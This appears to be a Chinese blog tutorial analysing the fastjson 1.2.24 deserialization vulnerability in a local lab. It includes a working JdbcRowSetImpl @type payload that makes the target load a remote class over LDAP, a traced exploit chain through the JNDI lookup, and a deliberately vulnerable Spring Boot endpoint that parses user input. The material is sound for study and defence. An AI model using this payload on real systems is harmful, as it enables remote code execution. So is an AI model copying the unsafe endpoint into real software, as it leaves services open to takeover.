fastjson低版本反序列化漏洞浅析

fastjson漏洞

介绍:

Fastjson是阿里巴巴的一个开源项目,在GitHub上开源,使用Apache 2.0协议。它是一个支持Java Object和JSON字符串互相转换的Java库。

JSON.toJSONString 和 JSON.parseObject/JSON.parse 分别实现序列化和反序列化

1
2
String text = JSON.toJSONString(obj);        // 序列化  对象转为json
VO vo = JSON.parseObject("{...}", VO.class); // 反序列化 json转为对象

漏洞原理:

fastjson为了读取并判断传入的值是什么类型,增加了autotype机制导致了漏洞产生。

由于要获取json数据详细类型,每次都需要读取@type,而@type可以指定反序列化任意类调用其set,get,is方法,并且由于反序列化的特性,我们可以通过目标类的set方法自由的设置类的属性值。

那么攻击者只要准备rmi服务和web服务,将rmi绝对路径注入到lookup方法中,受害者JNDI接口会指向攻击者控制rmi服务器,JNDI接口从攻击者控制的web服务器远程加载恶意代码并执行,形成RCE。

就是说,payload字段中带有@type就可以调用指定类的方法,找一个带lookup方法的类,就可以解析ldap协议远程执行恶意类。

漏洞演示:

创建一个项目

引入fastjson1.2.24版本的依赖,刷新maven

新建一个User类,写两个属性,然后生成get、set方法和构造方法

可以用快捷键alt+insert快速生成方法,这里选择生成getter、setter方法

属性全选

再生成一个构造方法

属性无选择就行

在每个方法里写一个输出语句,方便观察方法的调用

完整代码:(输出语句敲sout然后tab补全就可以)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package org.example;

public class User {
private String name;
private Integer age;

public String getName() {
System.out.println("getName");
return name;
}

public Integer getAge() {
System.out.println("getAge");
return age;
}

public void setName(String name) {
System.out.println("setName");
this.name = name;
}

public void setAge(Integer age) {
System.out.println("setAge");
this.age = age;
}

public User() {
System.out.println("User的无参构造方法");
}
}

再创建一个FastJsonTest类

先new一个对象,然后通过set方法赋值,通过get方法取值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package org.example;

public class FastJsonTest {
public static void main(String[] args) {
//new一个对象
User user = new User();
//调用user的set方法,给对象赋值
user.setName("cc");
user.setAge(23);
//调用get方法,取值
Integer age = user.getAge();
String name = user.getName();
System.out.println(name + " " + age);
}
}

输出结果:

使用fastjson的 JSON.toJSONString 方法来序列化user对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package org.example;

import com.alibaba.fastjson.JSON;

public class FastJsonTest {
public static void main(String[] args) {
//new一个对象
User user = new User();
//调用user的set方法,给对象赋值
user.setName("cc");
user.setAge(23);
//调用get方法,取值
Integer age = user.getAge();
String name = user.getName();
System.out.println(name + " " + age);
System.out.println();//换行

//序列化user对象
String jsonString = JSON.toJSONString(user); //序列化时,调用了构造方法和get方法。
//输出序列化后的字符串
System.out.println(jsonString);
}
}

输出结果:这里没有调用构造方法是因为前面调用过,构造方法只会调用一次(在整个对象的生命周期)

使用fastjson的 JSON.parseObject 方法来反序列化json字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class FastJsonTest {
public static void main(String[] args) {
//new一个对象
User user = new User();
//调用user的set方法,给对象赋值
user.setName("cc");
user.setAge(23);
//调用get方法,取值
Integer age = user.getAge();
String name = user.getName();
System.out.println(name + " " + age);
System.out.println();//换行

//序列化user对象
String jsonString = JSON.toJSONString(user); //序列化时,调用了构造方法和get方法。
//输出序列化后的字符串
System.out.println(jsonString);
System.out.println();//换行

//反序列化json字符串
JSONObject jsonObject = JSON.parseObject(jsonString); //反序列化时,会调用构造方法
System.out.println(jsonObject);
}
}

输出结果:这里没有调用构造方法是因为前面调用过,构造方法只会调用一次(在整个对象的生命周期)

添加@type字段进行反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class FastJsonTest {
public static void main(String[] args) {
//new一个对象
User user = new User();
//调用user的set方法,给对象赋值
user.setName("cc");
user.setAge(23);
//调用get方法,取值
Integer age = user.getAge();
String name = user.getName();
System.out.println(name + " " + age);
System.out.println();//换行

//序列化user对象
String jsonString = JSON.toJSONString(user); //序列化时,调用了构造方法和get方法。
//输出序列化后的字符串
System.out.println(jsonString);
System.out.println();//换行

//反序列化json字符串
JSONObject jsonObject = JSON.parseObject(jsonString); //反序列化时,会调用构造方法
System.out.println(jsonObject);
System.out.println();//换行

//**反序列化时带有@type参数,会执行类的构造方法和属性相关的get,set方法**,也造成了漏洞的产生
String payload = "{\"@type\":\"org.example.User\",\"age\":23,\"name\":\"cc\"}";
JSON.parseObject(payload); //有@type参数,set、get、构造方法都有调用!
}
}

输出结果:

更换payload,借助jdbcRowSetImpl类让目标访问远程ldap服务器,执行恶意类

1
String payload1 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Exploit\"," + " \"autoCommit\":true}";

用工具生成一个jndi服务,执行计算器

更换payload1中ldap的地址和路径,进行反序列化操作,成功弹出计算器

利用链分析:

payload是通过 jdbcRowSetImpl 类来实现的,查找 jdbcRowSetImpl 类的位置,直接ctrl+左键就可以调到这个类的位置

跳过来后点这个按钮即可定位类的路径

由前面的演示得知,反序列化时带有@type参数,会执行指定类的构造方法和属性相关的get,set方法

查找 dataSourceName 的get和set方法:

getDataSourceName 方法就是返回dataSource值

setDataSourceName 方法是传递一个字符串值var1,具体操作如下:

  1. 通过 this.getDataSourceName() 方法获取当前数据源的名称,然后检查是否为 null。如果当前数据源名称不为 null,则进入下一步判断。
  2. 在当前数据源名称不为 null 的情况下,再次通过 this.getDataSourceName() 方法获取当前数据源名称,并与传入的参数 var1 进行比较。如果两者不相等,则执行以下操作。
  3. 调用父类的 setDataSourceName 方法,将参数 var1 设置为新的数据源名称。
  4. 将类中的 conn(连接对象)置为 null,表示需要重新建立连接。
  5. 将类中的 ps(预编译语句对象)置为 null,表示需要重新创建预编译语句对象。
  6. 将类中的 rs(结果集对象)置为 null,表示需要重新创建结果集对象。

简单来说就是将参数var1赋值给dataSource,payload中就是将恶意地址ldap://localhost:1389/Exploit赋值给了dataSource

查找 autoCommit 的get和set方法:

getAutoCommit 方法就是返回一个布尔值

setAutoCommit 方法中 this.conn 是否为空,为空就调用 connect 方法

查看 connect 方法:

connect 方法先判断this.conn 是否为空,然后一眼就看到了两行很熟悉的代码 (jndi注入.md) ,其中调用了lookup方法解析了dataSource的值。

创建一个小demo测试一下,直接利用 JdbcRowSetImpl 类来触发其中的 lookup 方法:

new一个 JdbcRowSetImpl 对象,调用其 setDataSourceNamesetAutoCommit 方法,解析ldap地址

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
package org.example;

import com.sun.rowset.JdbcRowSetImpl;

import java.sql.SQLException;

public class Test {
public static void main(String[] args) throws SQLException {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("ldap://172.16.123.1:1389/vsrlgw");
jdbcRowSet.setAutoCommit(true);
}
}

成功执行计算器

web演示:

之前log4j是通过servlet进行演示的,这里利用springboot进行演示

环境部署

创建一个springboot项目:

更换一下服务器,换成阿里的,更换类型为maven,,更换java环境为java8,然后改个名即可

添加一下所需要的组件,这里只添加spring web即可

项目中 application.properties 为springboot的配置文件,可以修改端口,配置数据库连接等操作,这里将端口改为了8081,为避免与burp冲突

项目中 FastJsonWebApplication 为启动文件,一般都是WebApplication为后缀

访问端口,如下代表搭建成功

在pom.xml中添加fastjson 1.2.24的依赖,然后刷新maven

漏洞演示

创建一个控制器

敲代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package com.example.fastjsonweb.controller;

import com.alibaba.fastjson.JSON;
import org.springframework.web.bind.annotation.*;

//使用@RestController注解将其标记为Spring Boot控制器
@RestController
//使用@RequestMapping注解将该方法映射到请求的/fastjson路径
@RequestMapping("/fastjson")
public class fastjsonController {
//使用@GetMapping注解将该方法映射到GET请求的/hello路径
@GetMapping("/hello")
public String hello(@RequestParam String name){
return "hello " + name;
}

//使用@PostMapping注解将该方法映射到POST请求的/vuln路径
@PostMapping("/vuln")
public void fastjson(@RequestParam String code){
JSON.parseObject(code);
}
}

访问 http://localhost:8081/fastjson/hello ,页面返回400,这是因为需要传递参数

传递一个name参数,页面成功回显,证明没问题

访问 http://localhost:8081/fastjson/vuln,页面返回405,方法错误,需要post访问

使用hackbar的post传参,参数为code,值为fastjson的payload,执行后成功弹出计算器


fastjson低版本反序列化漏洞浅析
http://example.com/2024/03/06/fastjson低版本反序列化漏洞浅析/
作者
Simply
发布于
2024年3月6日
许可协议